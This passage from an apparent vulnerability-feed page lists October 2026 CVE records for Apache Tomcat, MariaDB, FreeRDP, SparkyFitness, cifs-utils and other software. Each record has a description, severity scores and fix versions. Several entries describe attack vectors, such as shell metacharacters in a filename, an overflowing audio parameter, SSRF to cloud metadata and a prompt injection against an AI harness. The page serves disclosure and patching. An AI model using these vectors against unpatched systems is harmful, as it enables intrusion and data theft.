An uncontrolled search path element vulnerability in ASUS Armoury Crate allows local users to execute arbitrary code with SYSTEM privileges via replacement of a dynamic-link library (DLL) that is later loaded by a high-privilege process.
Refer to the '
Security Update for Armoury Crate App ' section on the ASUS Security Advisory for more information.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A missing critical step in authentication vulnerability in Apache Tomcat when the JNDI realm was configured with with a non GSSAPI SASL authentication mechanism allowed attackers...
https://kevwire.com/record/CVE-2026-101296
A missing critical step in authentication vulnerability in Apache Tomcat when the JNDI realm was configured with with a non GSSAPI SASL authentication mechanism allowed attackers... (Oct 20, 2026).
A missing critical step in authentication vulnerability in Apache Tomcat when the JNDI realm was configured with with a non GSSAPI SASL authentication mechanism allowed attackers to authenticate without providing the correct password.



This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.26, from 10.1.0-M1 through 10.1.60, from 9.0.0.M1 through 9.0.122.



The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other unsupported versions may also be affected.



Users are recommended to upgrade to version 11.0.27, 10.1.61 or 9.0.123, which fix the issue.
CVSS 9.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101296).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101296&date=2026-10-25).
Sources:
NVD CVE-2026-101296: https://nvd.nist.gov/vuln/detail/CVE-2026-101296
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101296&date=2026-10-25
A missing critical step in authentication vulnerability in Apache Tomcat when the JNDI realm was configured with with a non GSSAPI SASL authentication mechanism allowed attackers to authenticate without providing the correct password.



This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.26, from 10.1.0-M1 through 10.1.60, from 9.0.0.M1 through 9.0.122.



The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other unsupported versions may also be affected.



Users are recommended to upgrade to version 11.0.27, 10.1.61 or 9.0.123, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libp2p-rust is the official Rust language implementation of the libp2p networking stack.
https://kevwire.com/record/CVE-2026-95859
libp2p-rust is the official Rust language implementation of the libp2p networking stack. (Oct 16, 2026).
libp2p-rust is the official Rust language implementation of the libp2p networking stack. Prior to 0.49.5, Gossipsub GRAFT control-message handling unconditionally adds attacker-supplied topic hashes to connected_peer.topics without confirming that the peer previously subscribed to those topics. A remote unauthenticated peer that can reach a Gossipsub listener can repeatedly send novel GRAFT topics, causing cumulative per-peer memory growth that is not bounded by subscription filters, peer scoring, or per-message size limits. This can exhaust process memory and cause a denial of service. This issue is fixed in version 0.49.5.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95859).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95859&date=2026-10-25).
Sources:
NVD CVE-2026-95859: https://nvd.nist.gov/vuln/detail/CVE-2026-95859
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95859&date=2026-10-25
libp2p-rust is the official Rust language implementation of the libp2p networking stack. Prior to 0.49.5, Gossipsub GRAFT control-message handling unconditionally adds attacker-supplied topic hashes to connected_peer.topics without confirming that the peer previously subscribed to those topics. A remote unauthenticated peer that can reach a Gossipsub listener can repeatedly send novel GRAFT topics, causing cumulative per-peer memory growth that is not bounded by subscription filters, peer scoring, or per-message size limits. This can exhaust process memory and cause a denial of service. This issue is fixed in version 0.49.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SparkyFitness is a self-hosted, AI-powered health and fitness tracker for families.
https://kevwire.com/record/CVE-2026-92263
SparkyFitness is a self-hosted, AI-powered health and fitness tracker for families. (Oct 16, 2026).
SparkyFitness is a self-hosted, AI-powered health and fitness tracker for families. Prior to 1.6.0, the api/admin/backup/restore endpoint interpolates an uploaded filename into a shell command. An authenticated global administrator uploads a restore archive with a crafted filename. The administrator can supply a restore archive with a filename containing shell metacharacters. Successful exploitation can execute arbitrary operating-system commands with the server process privileges. This issue is fixed in version 1.6.0.
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92263).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92263&date=2026-10-25).
Sources:
NVD CVE-2026-92263: https://nvd.nist.gov/vuln/detail/CVE-2026-92263
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92263&date=2026-10-25
SparkyFitness is a self-hosted, AI-powered health and fitness tracker for families. Prior to 1.6.0, the api/admin/backup/restore endpoint interpolates an uploaded filename into a shell command. An authenticated global administrator uploads a restore archive with a crafted filename. The administrator can supply a restore archive with a filename containing shell metacharacters. Successful exploitation can execute arbitrary operating-system commands with the server process privileges. This issue is fixed in version 1.6.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MariaDB server is a community developed fork of MySQL server.
https://kevwire.com/record/CVE-2026-92262
MariaDB server is a community developed fork of MySQL server. (Oct 16, 2026).
MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the #mysql50# bypass prefix is affected because it allows the #mysql50# prefix to bypass normal table-name filesystem encoding. An attacker can trigger the issue with a table name using the #mysql50# prefix, then use a #mysql50# table name to access files under their legacy unencoded name and cause crashes, data corruption, data exfiltration, or remote code execution. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92262).
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92262&date=2026-10-25).
Sources:
NVD CVE-2026-92262: https://nvd.nist.gov/vuln/detail/CVE-2026-92262
Vendor advisory (via NVD references): https://github.com/MariaDB/server/security/advisories/GHSA-65jj-h265-3m7h
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92262&date=2026-10-25
MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the #mysql50# bypass prefix is affected because it allows the #mysql50# prefix to bypass normal table-name filesystem encoding. An attacker can trigger the issue with a table name using the #mysql50# prefix, then use a #mysql50# table name to access files under their legacy unencoded name and cause crashes, data corruption, data exfiltration, or remote code execution. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mailu is a mail server distributed as a set of Docker images.
https://kevwire.com/record/CVE-2026-86009
Mailu is a mail server distributed as a set of Docker images. (Oct 16, 2026).
Mailu is a mail server distributed as a set of Docker images. Prior to f05aeb8322e2f61096af6b089d61ba6f40587d96, domain managers can enable spoofing for hosted domains they do not control. A potentially malicious domain administrator enables spoofing for another hosted domain and can send emails that are authenticated with DKIM/SPF for domains they should not be able to. This vulnerability is addressed by f05aeb8322e2f61096af6b089d61ba6f40587d96.
CVSS 8.2 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86009).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86009&date=2026-10-25).
Sources:
NVD CVE-2026-86009: https://nvd.nist.gov/vuln/detail/CVE-2026-86009
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86009&date=2026-10-25
Mailu is a mail server distributed as a set of Docker images. Prior to f05aeb8322e2f61096af6b089d61ba6f40587d96, domain managers can enable spoofing for hosted domains they do not control. A potentially malicious domain administrator enables spoofing for another hosted domain and can send emails that are authenticated with DKIM/SPF for domains they should not be able to. This vulnerability is addressed by f05aeb8322e2f61096af6b089d61ba6f40587d96.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems.
https://kevwire.com/record/CVE-2026-49868
RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. (Oct 16, 2026).
RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.07, _parse_reply() in sys/net/application_layer/dhcpv6/client.c omits minimum-length validation before passing IA_PD and IA_NA option bodies to sub-option parsers. A malicious or compromised DHCPv6 server can send a REPLY with an option length smaller than the required structure while MODULE_DHCPV6_CLIENT_IA_PD is enabled, causing _parse_ia_pd_option to read past the option body, size_t underflow, and unbounded out-of-bounds heap reads that can crash the device and may expose or corrupt memory. This issue is fixed in version 2026.07.
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-49868).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-49868&date=2026-10-25).
Sources:
NVD CVE-2026-49868: https://nvd.nist.gov/vuln/detail/CVE-2026-49868
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-49868&date=2026-10-25
RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.07, _parse_reply() in sys/net/application_layer/dhcpv6/client.c omits minimum-length validation before passing IA_PD and IA_NA option bodies to sub-option parsers. A malicious or compromised DHCPv6 server can send a REPLY with an option length smaller than the required structure while MODULE_DHCPV6_CLIENT_IA_PD is enabled, causing _parse_ia_pd_option to read past the option body, size_t underflow, and unbounded out-of-bounds heap reads that can crash the device and may expose or corrupt memory. This issue is fixed in version 2026.07.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session.
https://kevwire.com/record/CVE-2026-48741
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. (Oct 16, 2026).
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, alternateArrayAccess in src/mms/iso_mms/server/mms_read_service.c does not validate an alternate-access sub-array range when numberOfElements is greater than zero. An out-of-range MmsValue_getElement call returns NULL, and the sub-array branch passes that value to MmsValue_isDeletable, causing a NULL pointer dereference. A remote MMS Read request can therefore crash servers whose data models contain arrays, while the single-element error path handles the same invalid index safely. This issue is fixed in version 1.6.2.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-48741).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48741&date=2026-10-25).
Sources:
NVD CVE-2026-48741: https://nvd.nist.gov/vuln/detail/CVE-2026-48741
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48741&date=2026-10-25
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, alternateArrayAccess in src/mms/iso_mms/server/mms_read_service.c does not validate an alternate-access sub-array range when numberOfElements is greater than zero. An out-of-range MmsValue_getElement call returns NULL, and the sub-array branch passes that value to MmsValue_isDeletable, causing a NULL pointer dereference. A remote MMS Read request can therefore crash servers whose data models contain arrays, while the single-element error path handles the same invalid index safely. This issue is fixed in version 1.6.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### countly-server is the server-side part of Countly, a product analytics solution.
https://kevwire.com/record/CVE-2026-44977
countly-server is the server-side part of Countly, a product analytics solution. (Oct 16, 2026).
countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, plugins/star-rating/api/api.js allows a non-global application administrator to use uploadFeedbackFile to store attacker-controlled active content while trusting the supplied MIME type. plugins/star-rating/frontend/app.js publicly serves the stored content from feedback/preview/ with the attacker-influenced Content-Type, so a global administrator who opens the preview executes the payload in the Countly origin and exposes authenticated session capabilities, including auth_token and csrf_token values. This issue is fixed in versions 24.05.50 and 25.03.44.
CVSS 9.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44977).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-44977&date=2026-10-25).
Sources:
NVD CVE-2026-44977: https://nvd.nist.gov/vuln/detail/CVE-2026-44977
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-44977&date=2026-10-25
countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, plugins/star-rating/api/api.js allows a non-global application administrator to use uploadFeedbackFile to store attacker-controlled active content while trusting the supplied MIME type. plugins/star-rating/frontend/app.js publicly serves the stored content from feedback/preview/ with the attacker-influenced Content-Type, so a global administrator who opens the preview executes the payload in the Countly origin and exposes authenticated session capabilities, including auth_token and csrf_token values. This issue is fixed in versions 24.05.50 and 25.03.44.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wheels 1.1 through 4.1.2 resolves nestedProperties() records by posted primary key without checking that they belong to the parent being saved.
https://kevwire.com/record/CVE-2026-111447
Wheels 1.1 through 4.1.2 resolves nestedProperties() records by posted primary key without checking that they belong to the parent being saved. (Oct 16, 2026).
Wheels 1.1 through 4.1.2 resolves nestedProperties() records by posted primary key without checking that they belong to the parent being saved. A user able to submit a nested form for their own parent can update and reassign another parent's hasMany or hasOne rows, or delete them when allowDelete=true. Nested belongsTo records can also be edited by posting another associated record's key. New child rows with composite primary keys not made up of foreign keys retain posted key values, allowing the request to choose their identity. This is fixed in 4.2.0.
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111447).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111447&date=2026-10-25).
Sources:
NVD CVE-2026-111447: https://nvd.nist.gov/vuln/detail/CVE-2026-111447
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111447&date=2026-10-25
Wheels 1.1 through 4.1.2 resolves nestedProperties() records by posted primary key without checking that they belong to the parent being saved. A user able to submit a nested form for their own parent can update and reassign another parent's hasMany or hasOne rows, or delete them when allowDelete=true. Nested belongsTo records can also be edited by posting another associated record's key. New child rows with composite primary keys not made up of foreign keys retain posted key values, allowing the request to choose their identity. This is fixed in 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 3.29.0 before 3.32.0 contains an integer overflow in the Apple audin backends (audin_mac.m, audin_ios.m), which compute the audio queue buffer size as FramesPerPacket...
https://kevwire.com/record/CVE-2026-111380
FreeRDP from 3.29.0 before 3.32.0 contains an integer overflow in the Apple audin backends (audin_mac.m, audin_ios.m), which compute the audio queue buffer size as FramesPerPacket... (Oct 16, 2026).
FreeRDP from 3.29.0 before 3.32.0 contains an integer overflow in the Apple audin backends (audin_mac.m, audin_ios.m), which compute the audio queue buffer size as FramesPerPacket * 2 * nChannels in UINT32 arithmetic, bypassing the CVE-2026-91962 fix. A malicious RDP server can send FramesPerPacket of 2^30 in the audin Open PDU to wrap the multiplication, causing undersized AudioQueueAllocateBuffer allocations and a heap out-of-bounds write in macOS and iOS clients.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111380).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111380&date=2026-10-25).
Sources:
NVD CVE-2026-111380: https://nvd.nist.gov/vuln/detail/CVE-2026-111380
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-72qv-gcph-rfwf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111380&date=2026-10-25
FreeRDP from 3.29.0 before 3.32.0 contains an integer overflow in the Apple audin backends (audin_mac.m, audin_ios.m), which compute the audio queue buffer size as FramesPerPacket * 2 * nChannels in UINT32 arithmetic, bypassing the CVE-2026-91962 fix. A malicious RDP server can send FramesPerPacket of 2^30 in the audin Open PDU to wrap the multiplication, causing undersized AudioQueueAllocateBuffer allocations and a heap out-of-bounds write in macOS and iOS clients.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in cifs-utils. This flaw allows an unprivileged local user to achieve privilege escalation.
https://kevwire.com/record/CVE-2026-104715
A flaw was found in cifs-utils. This flaw allows an unprivileged local user to achieve privilege escalation. (Oct 16, 2026).
A flaw was found in cifs-utils. This flaw allows an unprivileged local user to achieve privilege escalation. When a privileged service mounts a Common Internet File System (CIFS) share using a user-controlled credentials file, input values are not properly sanitized before being assembled into mount options. A local attacker can exploit this vulnerability to inject unauthorized mount options, allowing them to bypass permission checks and execute files with administrative (root) privileges.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104715).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104715&date=2026-10-25).
Sources:
NVD CVE-2026-104715: https://nvd.nist.gov/vuln/detail/CVE-2026-104715
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104715&date=2026-10-25
A flaw was found in cifs-utils. This flaw allows an unprivileged local user to achieve privilege escalation. When a privileged service mounts a Common Internet File System (CIFS) share using a user-controlled credentials file, input values are not properly sanitized before being assembled into mount options. A local attacker can exploit this vulnerability to inject unauthorized mount options, allowing them to bypass permission checks and execute files with administrative (root) privileges.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in the context-compaction feature of DeepSeek Harness (dsh) commit c291e796 allows attackers to execute a prompt injection attack via crafted external content.
https://kevwire.com/record/CVE-2026-95183
An issue in the context-compaction feature of DeepSeek Harness (dsh) commit c291e796 allows attackers to execute a prompt injection attack via crafted external content. (Oct 16, 2026).
An issue in the context-compaction feature of DeepSeek Harness (dsh) commit c291e796 allows attackers to execute a prompt injection attack via crafted external content.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95183).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95183&date=2026-10-25).
Sources:
NVD CVE-2026-95183: https://nvd.nist.gov/vuln/detail/CVE-2026-95183
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95183&date=2026-10-25
An issue in the context-compaction feature of DeepSeek Harness (dsh) commit c291e796 allows attackers to execute a prompt injection attack via crafted external content.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer Overflow vulnerability in WEINVEIW CO.,LTD EBPro v.6.10.01.510_20251022 allows a remote attacker to execute arbitrary code via the UtilityManagerEx.exe component
https://kevwire.com/record/CVE-2026-26846
Buffer Overflow vulnerability in WEINVEIW CO.,LTD EBPro v.6.10.01.510_20251022 allows a remote attacker to execute arbitrary code via the UtilityManagerEx.exe component (Oct 16, 2026).
Buffer Overflow vulnerability in WEINVEIW CO.,LTD EBPro v.6.10.01.510_20251022 allows a remote attacker to execute arbitrary code via the UtilityManagerEx.exe component
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-26846).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-26846&date=2026-10-25).
Sources:
NVD CVE-2026-26846: https://nvd.nist.gov/vuln/detail/CVE-2026-26846
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-26846&date=2026-10-25
Buffer Overflow vulnerability in WEINVEIW CO.,LTD EBPro v.6.10.01.510_20251022 allows a remote attacker to execute arbitrary code via the UtilityManagerEx.exe component

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 3.0.0 before 3.32.0 contains an out-of-bounds read vulnerability in the Windows RAIL client that allows malicious RDP servers to trigger heap over-reads by sending...
https://kevwire.com/record/CVE-2026-111375
FreeRDP from 3.0.0 before 3.32.0 contains an out-of-bounds read vulnerability in the Windows RAIL client that allows malicious RDP servers to trigger heap over-reads by sending... (Oct 16, 2026).
FreeRDP from 3.0.0 before 3.32.0 contains an out-of-bounds read vulnerability in the Windows RAIL client that allows malicious RDP servers to trigger heap over-reads by sending non-NUL-terminated window titles. Attackers can send a full-length WINDOW_ORDER_FIELD_TITLE update that wf_rail_window_common passes to SetWindowTextW, corrupting titles or crashing the client.
CVSS 6.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111375).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111375&date=2026-10-25).
Sources:
NVD CVE-2026-111375: https://nvd.nist.gov/vuln/detail/CVE-2026-111375
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3rvr-qvx8-rj23
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111375&date=2026-10-25
FreeRDP from 3.0.0 before 3.32.0 contains an out-of-bounds read vulnerability in the Windows RAIL client that allows malicious RDP servers to trigger heap over-reads by sending non-NUL-terminated window titles. Attackers can send a full-length WINDOW_ORDER_FIELD_TITLE update that wf_rail_window_common passes to SetWindowTextW, corrupting titles or crashing the client.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CRMEB 5.6.1 through 6.0.0 contains an insecure direct object reference vulnerability that allows authenticated storefront users to read and claim other users' orders via the...
https://kevwire.com/record/CVE-2026-111359
CRMEB 5.6.1 through 6.0.0 contains an insecure direct object reference vulnerability that allows authenticated storefront users to read and claim other users' orders via the... (Oct 15, 2026).
CRMEB 5.6.1 through 6.0.0 contains an insecure direct object reference vulnerability that allows authenticated storefront users to read and claim other users' orders via the gift-order API. Attackers can enumerate sequential order IDs in gift_detail to harvest buyer identities and the gift_key, then call receive_gift to redirect paid goods to their address.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111359).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111359&date=2026-10-25).
Sources:
NVD CVE-2026-111359: https://nvd.nist.gov/vuln/detail/CVE-2026-111359
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111359&date=2026-10-25
CRMEB 5.6.1 through 6.0.0 contains an insecure direct object reference vulnerability that allows authenticated storefront users to read and claim other users' orders via the gift-order API. Attackers can enumerate sequential order IDs in gift_detail to harvest buyer identities and the gift_key, then call receive_gift to redirect paid goods to their address.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JobOps through 0.13.1 contains a server-side request forgery vulnerability in the POST /api/manual-jobs/fetch handler that allows authenticated users, or unauthenticated clients...
https://kevwire.com/record/CVE-2026-111313
JobOps through 0.13.1 contains a server-side request forgery vulnerability in the POST /api/manual-jobs/fetch handler that allows authenticated users, or unauthenticated clients... (Oct 15, 2026).
JobOps through 0.13.1 contains a server-side request forgery vulnerability in the POST /api/manual-jobs/fetch handler that allows authenticated users, or unauthenticated clients in demo mode, to make the server fetch internal destinations. Attackers can supply loopback, private, or cloud metadata addresses in the url field to read returned page content, disclosing instance metadata and internal service data.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111313).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111313&date=2026-10-25).
Sources:
NVD CVE-2026-111313: https://nvd.nist.gov/vuln/detail/CVE-2026-111313
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111313&date=2026-10-25
JobOps through 0.13.1 contains a server-side request forgery vulnerability in the POST /api/manual-jobs/fetch handler that allows authenticated users, or unauthenticated clients in demo mode, to make the server fetch internal destinations. Attackers can supply loopback, private, or cloud metadata addresses in the url field to read returned page content, disclosing instance metadata and internal service data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

